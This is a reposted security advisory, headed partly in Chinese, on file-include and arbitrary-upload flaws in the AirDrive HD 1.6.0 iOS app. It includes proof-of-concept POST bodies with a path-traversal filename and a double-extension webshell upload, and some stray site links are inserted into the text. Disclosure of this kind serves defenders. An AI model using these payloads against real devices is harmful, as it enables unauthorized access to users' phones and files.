标题:AirDrive HD 1.6 iPad iPhone - Multiple Web Vulnerabilities
 
缺陷影响系统:6.3
 
介绍:
=============
AirDrive HD - your personal wireless flash disk. Safely send any file to your device over the air directly through
your favorite browser or FTP client! No more wires and painful syncs! With AirDrive HD you can store and transfer files
from one computer to another using your iPad, and intuitive interface make it easy and enjoyable occupation.
 
- transfer files via FTP;
- interact with the Photos app;
- share files with other devices via bluetooth;
- view and listen to media content;
- open documents;
- import and export files to other applications;
- send files by e-mail;
- rename, copy, move and delete files or folders;
- share files with your computer via iTunes File Sharing;
- unpack ZIP and RAR archives;
 
摘自: https://itunes.apple.com/de/app/airdrive-hd-wireless-flash/id484724740
 
 
问题说明:
=========
The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile AirDrive HD v1.6.0 app for the apple ipad & iphone.
影响版本: AirDrive HD 1.6.0
 
 技术分析:
========
A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile AirDrive HD v1.6.0
app for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to
request unauthorized local webserver files.
 
1.1
The main vulnerbility is located in the upload file formular of the webserver ( www.2cto.com ) when processing to load a manipulated
filename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listing
of the wifi web application web-server.
 
1.2
Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing to
upload (submit) via POST request method. The attacker uploads a file with a double extension and access the file in the secound step via directory
webserver dir listing to compromise the apple iphone or ipad.
 
Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account.
Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via file
include or unauthorized file (webshell) upload attacks.
 
 
Vulnerable Application(s):
                [+] AirDrive HD v1.6.0 - ITunes or AppStore (Apple)
 
Vulnerable Module(s):
                [+] File Upload via Submit (Web Server) [Remote]
 
Vulnerable Parameter(s):
                [+] file > filename
 
Affected Module(s):
                [+] File Dir Index - Listing
 
 
测试证明:
=================
Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction.
For demonstration or reproduce ...
 
1.1
PoC: (POST)
-----------------------------117943051125692
Content-Disposition: form-data; name="file";
filename=">"../../../../cmd>home>tmp.png"
Content-Type: image/png
����
 
 
Review: Listing - Index
 
<p class="name"><strong><a href=":8080/">...</a></strong></p><p class="size"> </p>
<div style="clear:both;"><p class="name"><strong><a href=":8080/Imported%20photos/">Imported photos/</a></strong></p>
<p class="size"> </p><div style="clear:both;"><p class="name" style="text-indent:20px;">
<a href=":8080/>"../../../../cmd>home>tmp>%20%20%20%20</a></p><p
 
 
 
1.2
PoC: (POST)
-----------------------------117943051125691
Content-Disposition: form-data; name="file";
filename="pentest.php.js.html.gif"          # < Include File with multiple file extensions - POST
Content-Type: image/gif
����
 
 
Review: Listing - Index
 
<p class="name"><strong><a href=":8080/">...</a></strong></p><p class="size"> </p>
<div style="clear:both;"><p class="name"><strong><a href=":8080/Imported%20photos/">Imported photos/</a></strong></p>
<p class="size"> </p><div style="clear:both;"><p class="name" style="text-indent:20px;">
<a href=http://up.2cto.com/2013/0314/20130314030438874.gif%20%20%20%20</a></p><p     # < Imported file with multiple extensions - Listing
 
 
 
Reference(s):
Insert:     :8080/
Affected:   :8080/Imported%20photos/